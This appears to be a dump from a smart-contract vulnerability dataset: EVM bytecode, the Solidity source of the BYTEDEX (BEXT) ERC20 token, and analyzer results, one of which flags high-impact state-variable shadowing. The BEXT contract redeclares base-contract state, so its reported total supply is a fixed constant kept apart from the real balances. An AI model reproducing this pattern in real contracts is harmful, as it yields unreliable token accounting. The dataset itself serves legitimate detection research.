0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637fdd89f3116100de578063b88d4fde11610097578063df95ec2a11610071578063df95ec2a1461061f578063e8a3d4851461068d578063e985e9c514610695578063f2fde38b146106c357610173565b8063b88d4fde146104d0578063c87b56dd14610594578063df640227146105b157610173565b80637fdd89f3146103ff5780638da5cb5b1461046d5780638f32d59b14610475578063955648371461047d57806395d89b411461049a578063a22cb465146104a257610173565b80632e1a7d4d116101305780632e1a7d4d146102e757806342842e0e146103045780636352211e1461033a5780636d92ae2d1461035757806370a08231146103d1578063715018a6146103f757610173565b806301ffc9a71461017857806306fdde03146101b3578063081812fc14610230578063095ea7b31461026957806318160ddd1461029757806323b872dd146102b1575b600080fd5b61019f6004803603602081101561018e57600080fd5b50356001600160e01b0319166106e9565b604080519115158252519081900360200190f35b6101bb610708565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f55781810151838201526020016101dd565b50505050905090810190601f1680156102225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603602081101561024657600080fd5b5035610729565b604080516001600160a01b039092168252519081900360200190f35b6102956004803603604081101561027f57600080fd5b506001600160a01b038135169060200135610759565b005b61029f610806565b60408051918252519081900360200190f35b610295600480360360608110156102c757600080fd5b506001600160a01b0381358116916020810135909116906040013561080c565b610295600480360360208110156102fd57600080fd5b503561082f565b6102956004803603606081101561031a57600080fd5b506001600160a01b03813581169160208101359091169060400135610871565b61024d6004803603602081101561035057600080fd5b503561088c565b6102956004803603606081101561036d57600080fd5b813591602081013591810190606081016040820135600160201b81111561039357600080fd5b8201836020820111156103a557600080fd5b803590602001918460208302840111600160201b831117156103c657600080fd5b5090925090506108b4565b61029f600480360360208110156103e757600080fd5b50356001600160a01b0316610945565b610295610976565b6102956004803603602081101561041557600080fd5b810190602081018135600160201b81111561042f57600080fd5b82018360208201111561044157600080fd5b803590602001918460018302840111600160201b8311171561046257600080fd5b5090925090506109d1565b61024d6109ee565b61019f6109fd565b61029f6004803603602081101561049357600080fd5b5035610a0e565b6101bb610a2f565b610295600480360360408110156104b857600080fd5b506001600160a01b0381351690602001351515610a4d565b610295600480360360808110156104e657600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460018302840111600160201b8311171561055357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ad1945050505050565b6101bb600480360360208110156105aa57600080fd5b5035610af6565b610295600480360360208110156105c757600080fd5b810190602081018135600160201b8111156105e157600080fd5b8201836020820111156105f357600080fd5b803590602001918460018302840111600160201b8311171561061457600080fd5b509092509050610d78565b6102956004803603602081101561063557600080fd5b810190602081018135600160201b81111561064f57600080fd5b82018360208201111561066157600080fd5b803590602001918460018302840111600160201b8311171561068257600080fd5b509092509050610d95565b6101bb610db2565b61019f600480360360408110156106ab57600080fd5b506001600160a01b0381358116916020013516610e48565b610295600480360360208110156106d957600080fd5b50356001600160a01b0316610e76565b6001600160e01b03191660009081526001602052604090205460ff1690565b60606040518060600160405280602281526020016114776022913990505b90565b600061073482610e93565b61073d57600080fd5b506000908152600360205260409020546001600160a01b031690565b60006107648261088c565b9050806001600160a01b0316836001600160a01b0316141561078557600080fd5b336001600160a01b03821614806107a157506107a18133610e48565b6107aa57600080fd5b60008281526003602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60095490565b6108163382610eb0565b61081f57600080fd5b61082a838383610f22565b505050565b6108376109fd565b61084057600080fd5b604051339082156108fc029083906000818181858888f1935050505015801561086d573d6000803e3d6000fd5b5050565b61082a83838360405180602001604052806000815250610ad1565b6000818152600260205260408120546001600160a01b0316806108ae57600080fd5b92915050565b6108bc6109fd565b6108c557600080fd5b60095484146108d357600080fd5b8281146108df57600080fd5b60005b8381101561093e57600980549081906108fe9060018301611388565b5083838381811061090b57fe5b905060200201356009828154811061091f57fe5b6000918252602090912001556109353382610fe1565b506001016108e2565b5050505050565b60006001600160a01b03821661095a57600080fd5b506001600160a01b031660009081526004602052604090205490565b61097e6109fd565b61098757600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6109d96109fd565b6109e257600080fd5b61082a600883836113ac565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600060098281548110610a1d57fe5b90600052602060002001549050919050565b6040805180820190915260048152634643494360e01b602082015290565b6001600160a01b038216331415610a6357600080fd5b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b610adb3383610eb0565b610ae457600080fd5b610af084848484611073565b50505050565b6007805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152606093849391929091830182828015610b835780601f10610b5857610100808354040283529160200191610b83565b820191906000526020600020905b815481529060010190602001808311610b6657829003601f168201915b505083516008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529798509296606096509450909250830182828015610c195780601f10610bee57610100808354040283529160200191610c19565b820191906000526020600020905b815481529060010190602001808311610bfc57829003601f168201915b5050835193945060019250889150505b600a8110610c415760019190910190600a9004610c29565b606083838701016040519080825280601f01601f191660200182016040528015610c72576020820181803883390190505b50905060005b86811015610cc257878181518110610c8c57fe5b602001015160f81c60f81b828281518110610ca357fe5b60200101906001600160f81b031916908160001a905350600101610c78565b5088915060005b83811015610d19576000600a840660300190508060f81b8383600101878b010381518110610cf357fe5b60200101906001600160f81b031916908160001a905350600a8404935050600101610cc9565b5060005b84811015610d6b57858181518110610d3157fe5b602001015160f81c60f81b8282868a010181518110610d4c57fe5b60200101906001600160f81b031916908160001a905350600101610d1d565b5098975050505050505050565b610d806109fd565b610d8957600080fd5b61082a600783836113ac565b610d9d6109fd565b610da657600080fd5b61082a600683836113ac565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e3e5780601f10610e1357610100808354040283529160200191610e3e565b820191906000526020600020905b815481529060010190602001808311610e2157829003601f168201915b5050505050905090565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b610e7e6109fd565b610e8757600080fd5b610e9081611093565b50565b6000908152600260205260409020546001600160a01b0316151590565b6000610ebb82610e93565b610ec457600080fd5b6000610ecf8361088c565b9050806001600160a01b0316846001600160a01b03161480610f0a5750836001600160a01b0316610eff84610729565b6001600160a01b0316145b80610f1a5750610f1a8185610e48565b949350505050565b826001600160a01b0316610f358261088c565b6001600160a01b031614610f4857600080fd5b6001600160a01b038216610f5b57600080fd5b610f6481611101565b6001600160a01b038084166000818152600460209081526040808320805460001901905593861680835284832080546001019055858352600290915283822080546001600160a01b031916821790559251849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b038216610ff457600080fd5b610ffd81610e93565b1561100757600080fd5b600081815260026020908152604080832080546001600160a01b0319166001600160a01b038716908117909155808452600490925280832080546001019055518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b61107e848484610f22565b61108a8484848461113c565b610af057600080fd5b6001600160a01b0381166110a657600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818152600360205260409020546001600160a01b031615610e9057600090815260036020526040902080546001600160a01b0319169055565b60006111478461134f565b61115357506001610f1a565b60405133602482018181526001600160a01b03888116604485015260648401879052608060848501908152865160a48601528651600095606095938b1694630a85bd0160e11b94938d938c938c93929160c49091019060208501908083838f5b838110156111cb5781810151838201526020016111b3565b50505050905090810190601f1680156111f85780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909a16999099178952518151919890975087965094509250829150849050835b602083106112605780518252601f199092019160209182019101611241565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112c2576040519150601f19603f3d011682016040523d82523d6000602084013e6112c7565b606091505b509150915081611318578051156112e15780518082602001fd5b60405162461bcd60e51b81526004018080602001828103825260328152602001806114456032913960400191505060405180910390fd5b600081806020019051602081101561132f57600080fd5b50516001600160e01b031916630a85bd0160e11b149350610f1a92505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610f1a575050151592915050565b81548183558181111561082a5760008381526020902061082a91810190830161142a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113ed5782800160ff1982351617855561141a565b8280016001018555821561141a579182015b8281111561141a5782358255916020019190600101906113ff565b5061142692915061142a565b5090565b61072691905b80821115611426576000815560010161143056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e746572466f757220436861726163746572204964696f6d6174696320436f6d706f756e6473a265627a7a7231582072c1e510ba7d3dc33f77899c240f24e951491a96ae33abd4477cc0c4ee71d47c64736f6c63430005100032
{"success": true, "error": null, "results": {}}
10,714
0xE22c4E46C6f54e72315CA6eDA934e7b766b0173D
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract BextToken is ERC20,Ownable{ uint256 _totalSupply=500 * 10**6 * 10**18; uint8 _decimal=18; string _name='BYTEDEX'; string _symbol='BEXT'; constructor () ERC20(_name, _symbol) { _mint(msg.sender, _totalSupply); } function decimals() public view override returns (uint8) { return _decimal; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b60405161010491906113dd565b60405180910390f35b61012760048036038101906101229190610f86565b61038d565b60405161013491906113c2565b60405180910390f35b6101456103ab565b604051610152919061151f565b60405180910390f35b61017560048036038101906101709190610f37565b6103b5565b60405161018291906113c2565b60405180910390f35b6101936104ad565b6040516101a0919061153a565b60405180910390f35b6101c360048036038101906101be9190610f86565b6104c4565b6040516101d091906113c2565b60405180910390f35b6101f360048036038101906101ee9190610ed2565b610570565b604051610200919061151f565b60405180910390f35b6102116105b8565b005b61021b610640565b60405161022891906113a7565b60405180910390f35b61023961066a565b60405161024691906113dd565b60405180910390f35b61026960048036038101906102649190610f86565b6106fc565b60405161027691906113c2565b60405180910390f35b61029960048036038101906102949190610f86565b6107e7565b6040516102a691906113c2565b60405180910390f35b6102c960048036038101906102c49190610efb565b610805565b6040516102d6919061151f565b60405180910390f35b6102f960048036038101906102f49190610ed2565b61088c565b005b60606003805461030a9061164f565b80601f01602080910402602001604051908101604052809291908181526020018280546103369061164f565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b60006103a161039a610984565b848461098c565b6001905092915050565b6000600654905090565b60006103c2848484610b57565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040d610984565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561048d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104849061147f565b60405180910390fd5b6104a185610499610984565b85840361098c565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b60006105666104d1610984565b8484600160006104df610984565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105619190611571565b61098c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105c0610984565b73ffffffffffffffffffffffffffffffffffffffff166105de610640565b73ffffffffffffffffffffffffffffffffffffffff1614610634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062b9061149f565b60405180910390fd5b61063e6000610dd8565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106799061164f565b80601f01602080910402602001604051908101604052809291908181526020018280546106a59061164f565b80156106f25780601f106106c7576101008083540402835291602001916106f2565b820191906000526020600020905b8154815290600101906020018083116106d557829003601f168201915b5050505050905090565b6000806001600061070b610984565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bf906114ff565b60405180910390fd5b6107dc6107d3610984565b8585840361098c565b600191505092915050565b60006107fb6107f4610984565b8484610b57565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610894610984565b73ffffffffffffffffffffffffffffffffffffffff166108b2610640565b73ffffffffffffffffffffffffffffffffffffffff1614610908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ff9061149f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f9061141f565b60405180910390fd5b61098181610dd8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f3906114df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a639061143f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b4a919061151f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe906114bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e906113ff565b60405180910390fd5b610c42838383610e9e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf9061145f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5b9190611571565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dbf919061151f565b60405180910390a3610dd2848484610ea3565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610eb7816116f0565b92915050565b600081359050610ecc81611707565b92915050565b600060208284031215610ee457600080fd5b6000610ef284828501610ea8565b91505092915050565b60008060408385031215610f0e57600080fd5b6000610f1c85828601610ea8565b9250506020610f2d85828601610ea8565b9150509250929050565b600080600060608486031215610f4c57600080fd5b6000610f5a86828701610ea8565b9350506020610f6b86828701610ea8565b9250506040610f7c86828701610ebd565b9150509250925092565b60008060408385031215610f9957600080fd5b6000610fa785828601610ea8565b9250506020610fb885828601610ebd565b9150509250929050565b610fcb816115c7565b82525050565b610fda816115d9565b82525050565b6000610feb82611555565b610ff58185611560565b935061100581856020860161161c565b61100e816116df565b840191505092915050565b6000611026602383611560565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061108c602683611560565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110f2602283611560565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611158602683611560565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111be602883611560565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611224602083611560565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611264602583611560565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112ca602483611560565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611330602583611560565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61139281611605565b82525050565b6113a18161160f565b82525050565b60006020820190506113bc6000830184610fc2565b92915050565b60006020820190506113d76000830184610fd1565b92915050565b600060208201905081810360008301526113f78184610fe0565b905092915050565b6000602082019050818103600083015261141881611019565b9050919050565b600060208201905081810360008301526114388161107f565b9050919050565b60006020820190508181036000830152611458816110e5565b9050919050565b600060208201905081810360008301526114788161114b565b9050919050565b60006020820190508181036000830152611498816111b1565b9050919050565b600060208201905081810360008301526114b881611217565b9050919050565b600060208201905081810360008301526114d881611257565b9050919050565b600060208201905081810360008301526114f8816112bd565b9050919050565b6000602082019050818103600083015261151881611323565b9050919050565b60006020820190506115346000830184611389565b92915050565b600060208201905061154f6000830184611398565b92915050565b600081519050919050565b600082825260208201905092915050565b600061157c82611605565b915061158783611605565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115bc576115bb611681565b5b828201905092915050565b60006115d2826115e5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561163a57808201518184015260208101905061161f565b83811115611649576000848401525b50505050565b6000600282049050600182168061166757607f821691505b6020821081141561167b5761167a6116b0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6116f9816115c7565b811461170457600080fd5b50565b61171081611605565b811461171b57600080fd5b5056fea26469706673582212203b95844676f77bb40449585b12a54ed2e010ae5f7bdf46e86b90f670512228ef64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
10,715
0x345bd566198e5a6635b960937557da08d8bf2b92
